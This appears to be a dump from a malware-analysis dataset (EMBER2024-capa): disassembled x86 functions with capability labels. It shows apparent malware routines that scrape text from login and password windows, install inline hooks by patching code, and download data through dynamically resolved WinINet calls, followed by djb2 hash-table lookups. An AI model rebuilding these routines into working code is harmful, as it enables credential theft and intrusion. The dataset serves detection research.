joyce8/EMBER2024-capa huggingface dataset:
Function at 0x200024ca
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x200053d0]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x20002514
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x2000253e
cmp dword [ebp - 8], ebx
jne 0x20002560
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x20002534
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x2000257d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x20002586
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x200053a8
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x200025bb
push 0x20005424
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x200025bb
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x200025d5
push 0x28
push 0x20005424
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x20002594
pop edi
pop esi
pop ebx
leave
ret

Function at 0x200025da
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x200053d0]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x2000264a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x200025fb
push 0x28
mov edi, 0x200053fc
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200026af
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x200053d0]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20002728
push 0x64
call edi
jmp 0x2000271b
push ebx
call esi
test eax, eax
je 0x20002745
push 0x28
push 0x2000532c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20002728
call fcn.2000236c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200029fd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x200040e8
push 0x20003790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20002ab2
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002ac1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x200040f8
push 0x20003790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x20002b45
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002b6d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x20002bba
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
pop edi
jne 0x20002bd4
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x20002beb
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x20002beb
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20002d89
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
xor ebx, ebx
cmp dword [0x20005480], ebx
je 0x20002dc5
cmp dword [0x20005484], ebx
je 0x20002dc5
cmp dword [0x20005488], ebx
je 0x20002dc5
cmp dword [0x2000548c], ebx
jne 0x20002e89
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x20005480], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x20005484], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x20005488], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x2000548c], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x20005484]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x20002f66
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x20005488]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x20002f5d
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x2000548c]
test eax, eax
je 0x20002f4b
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x20002f47
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x20002f13
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x20002f47
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x2000548c]
test eax, eax
jne 0x20002eed
cmp edi, ebx
ja 0x20002f57
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x20002f5d
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x20005480]
push dword [ebp - 0x10]
call dword [0x20005480]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x2000364e
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
xor eax, eax
mov ecx, 0x43676552
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
push esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x10]
push edi
mov edx, 0x53676552
mov ecx, 0x61567465
push eax
mov dword [ebp - 0x10], 0x41564441
mov dword [ebp - 0xc], 0x32334950
mov dword [ebp - 8], 0x6c6c642e
mov dword [ebp - 0x1c], 0x65736f6c
mov dword [ebp - 0x18], 0x79654b
mov dword [ebp - 0x50], 0x74616572
mov dword [ebp - 0x4c], 0x79654b65
mov dword [ebp - 0x48], 0x41
mov dword [ebp - 0x30], 0x4f676552
mov dword [ebp - 0x2c], 0x4b6e6570
mov dword [ebp - 0x28], 0x417965
mov dword [ebp - 0x68], 0x51676552
mov dword [ebp - 0x64], 0x79726575
mov dword [ebp - 0x60], 0x756c6156
mov dword [ebp - 0x5c], 0x41784565
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x4165756c
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x4565756c
mov dword [ebp - 0x70], 0x4178
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
push edi
call esi
mov dword [0x200057b8], eax
lea eax, [ebp - 0x54]
push eax
push edi
call esi
mov dword [0x200057b0], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x200057a8], eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x200057ac], eax
lea eax, [ebp - 0x40]
push eax
push edi
call esi
mov dword [0x200057a4], eax
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
pop edi
mov dword [0x200057b4], eax
pop esi
leave
ret
Function at 0x404370
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x404450
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x404450
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4043ba
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x4043c1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x4043a0
jmp 0x4043c3
mov esi, 0x1505
jmp 0x4043c3
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov ebx, dword [ecx + 0x20]
lea edi, [ebx - 1]
mov edx, ebx
sub edx, 1
mov dword [esp + 8], edx
jb 0x404450
and edi, esi
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x4043f4
inc edi
dec ebx
je 0x40444e
mov eax, edi
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ebp, dword [edx + eax*4]
cmp ebp, 0xffffffff
je 0x40444e
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x4043f0
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + ebp*4]
mov dword [esp], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x4043f0
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.0040cba0
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x4043f0
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x404450
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x404460
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor edi, edi
cmp dword [esp + 0x24], 0
je 0x404561
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x404561
push ebx
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x4044ba
mov ecx, 0x1505
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ebp]
test edx, edx
je 0x4044c1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebp
mov ecx, esi
cmp eax, ebp
jne 0x4044a0
jmp 0x4044c3
mov esi, 0x1505
jmp 0x4044c3
mov esi, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 0x20]
lea ebp, [ebx - 1]
mov eax, ebx
sub eax, 1
mov dword [esp + 0xc], eax
jb 0x404561
and ebp, esi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x4044f4
inc ebp
dec ebx
je 0x40455f
mov eax, ebp
and eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x40455f
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x4044f0
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 4], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x4044f0
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x30]
call fcn.0040cba0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x4044f0
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
test eax, eax
je 0x40455f
cmp dword [eax + 4], 2
mov edi, 0
jne 0x404561
mov edi, dword [eax + 8]
jmp 0x404561
xor edi, edi
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404590
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
fldz
fstp qword [esp + 0x10]
cmp dword [esp + 0x2c], 0
je 0x4045fb
mov esi, dword [esp + 0x30]
test esi, esi
je 0x4045fb
push esi
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x4045da
mov ecx, 0x1505
xor edi, edi
movzx edx, byte [esi + edi]
test edx, edx
je 0x4045e1
mov ebp, ecx
shl ebp, 5
add ebp, ecx
add ebp, edx
inc edi
mov ecx, ebp
cmp eax, edi
jne 0x4045c0
jmp 0x4045e3
mov ebp, 0x1505
jmp 0x4045e3
mov ebp, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x2c]
mov edi, dword [ecx + 0x20]
lea ebx, [edi - 1]
mov eax, edi
sub eax, 1
mov dword [esp + 0xc], eax
jae 0x404607
fld qword [esp + 0x10]
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
and ebx, ebp
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x404624
inc ebx
dec edi
je 0x4045fb
mov eax, ebx
and eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov esi, dword [edx + eax*4]
cmp esi, 0xffffffff
je 0x4045fb
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], ebp
jne 0x404620
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + esi*4]
mov dword [esp + 4], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x30]
add esp, 4
cmp eax, dword [esp]
jne 0x404620
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x38]
call fcn.0040cba0
mov ecx, dword [esp + 0x38]
add esp, 0xc
test eax, eax
jne 0x404620
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + esi*4]
test eax, eax
je 0x4045fb
cmp dword [eax + 4], 3
jne 0x4045fb
fld qword [eax + 8]
fstp qword [esp + 0x10]
jmp 0x4045fb

Function at 0x4046c0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor edi, edi
cmp dword [esp + 0x24], 0
je 0x4047c1
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x4047c1
push ebx
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x40471a
mov ecx, 0x1505
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ebp]
test edx, edx
je 0x404721
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebp
mov ecx, esi
cmp eax, ebp
jne 0x404700
jmp 0x404723
mov esi, 0x1505
jmp 0x404723
mov esi, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 0x20]
lea ebp, [ebx - 1]
mov eax, ebx
sub eax, 1
mov dword [esp + 0xc], eax
jb 0x4047c1
and ebp, esi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x404754
inc ebp
dec ebx
je 0x4047bf
mov eax, ebp
and eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x4047bf
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x404750
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 4], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x404750
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x30]
call fcn.0040cba0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x404750
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
test eax, eax
je 0x4047bf
cmp dword [eax + 4], 5
mov edi, 0
jne 0x4047c1
mov edi, dword [eax + 8]
jmp 0x4047c1
xor edi, edi
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4047f0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, 0xffffffff
cmp dword [esp + 0x24], 0
je 0x4048f4
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x4048f4
push ebx
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x40484a
mov ecx, 0x1505
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ebp]
test edx, edx
je 0x404851
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebp
mov ecx, esi
cmp eax, ebp
jne 0x404830
jmp 0x404853
mov esi, 0x1505
jmp 0x404853
mov esi, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 0x20]
lea ebp, [ebx - 1]
mov eax, ebx
sub eax, 1
mov dword [esp + 0xc], eax
jb 0x4048f4
and ebp, esi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x404884
inc ebp
dec ebx
je 0x4048ef
mov eax, ebp
and eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x4048ef
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x404880
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 4], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x404880
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x30]
call fcn.0040cba0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x404880
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
test eax, eax
je 0x4048ef
cmp dword [eax + 4], 6
mov edi, 0xffffffff
jne 0x4048f4
mov edi, dword [eax + 8]
jmp 0x4048f4
mov edi, 0xffffffff
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404900
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov ebp, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
push 0x2e
push ebp
call fcn.0040cbf0
add esp, 8
test eax, eax
je 0x404964
mov esi, eax
jmp 0x404944
mov ebp, esi
inc ebp
push 0x2e
push ebp
call fcn.0040cbf0
add esp, 8
mov esi, eax
test eax, eax
je 0x404964
mov eax, esi
sub eax, ebp
push eax
push ebp
push edi
call fcn.00404370
add esp, 0xc
xor edi, edi
test eax, eax
je 0x404930
cmp dword [eax + 4], 4
jne 0x404930
mov edi, dword [eax + 8]
jmp 0x404930
xor eax, eax
test edi, edi
je 0x4049cb
test ebp, ebp
je 0x4049cb
push ebp
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x4049ab
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ebx]
test edx, edx
je 0x4049b2
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebx
mov ecx, esi
cmp eax, ebx
jne 0x404990
jmp 0x4049b4
mov esi, 0x1505
jmp 0x4049b4
mov esi, ecx
mov dword [esp + 4], eax
mov ecx, dword [edi + 0x20]
lea ebx, [ecx - 1]
mov eax, ecx
sub eax, 1
mov dword [esp + 0x14], eax
jae 0x4049d3
xor eax, eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
and ebx, esi
mov dword [esp], edi
mov eax, dword [edi + 4]
mov dword [esp + 0x10], eax
jmp 0x4049f4
inc ebx
dec ecx
je 0x4049c9
mov eax, ebx
and eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x4049c9
mov eax, dword [esp]
mov eax, dword [eax + 8]
cmp dword [eax + edi*4], esi
jne 0x4049f0
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
mov dword [esp + 0xc], ecx
call fcn.0040cb70
mov ecx, dword [esp + 0xc]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x4049f0
push dword [esp + 4]
push dword [esp + 0x10]
push ebp
call fcn.0040cba0
mov ecx, dword [esp + 0x14]
add esp, 0xc
test eax, eax
jne 0x4049f0
mov eax, dword [esp]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x4049cb
Function at 0x404af0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor eax, eax
cmp dword [esp + 0x24], 0
je 0x404b5d
mov esi, dword [esp + 0x28]
test esi, esi
je 0x404b5d
push esi
call fcn.0040cb70
add esp, 4
test eax, eax
je 0x404b3a
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
movzx edx, byte [esi + edi]
test edx, edx
je 0x404b41
mov ebx, ecx
shl ebx, 5
add ebx, ecx
add ebx, edx
inc edi
mov ecx, ebx
cmp eax, edi
jne 0x404b20
jmp 0x404b43
mov ebx, 0x1505
jmp 0x404b43
mov ebx, ecx
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x20]
lea ebp, [edi - 1]
mov eax, edi
sub eax, 1
mov dword [esp + 0xc], eax
jae 0x404b65
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
and ebp, ebx
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x404b74
inc ebp
dec edi
je 0x404b5b
mov eax, ebp
and eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov esi, dword [edx + eax*4]
cmp esi, 0xffffffff
je 0x404b5b
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], ebx
jne 0x404b70
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + esi*4]
mov dword [esp + 4], eax
push eax
call fcn.0040cb70
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x404b70
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x30]
call fcn.0040cba0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x404b70
mov eax, dword [ecx + 0x10]
mov ecx, dword [eax + esi*4]
test ecx, ecx
mov eax, 0
je 0x404b5d
xor eax, eax
mov edx, dword [esp + 0x2c]
cmp dword [ecx + 4], edx
sete al
jmp 0x404b5d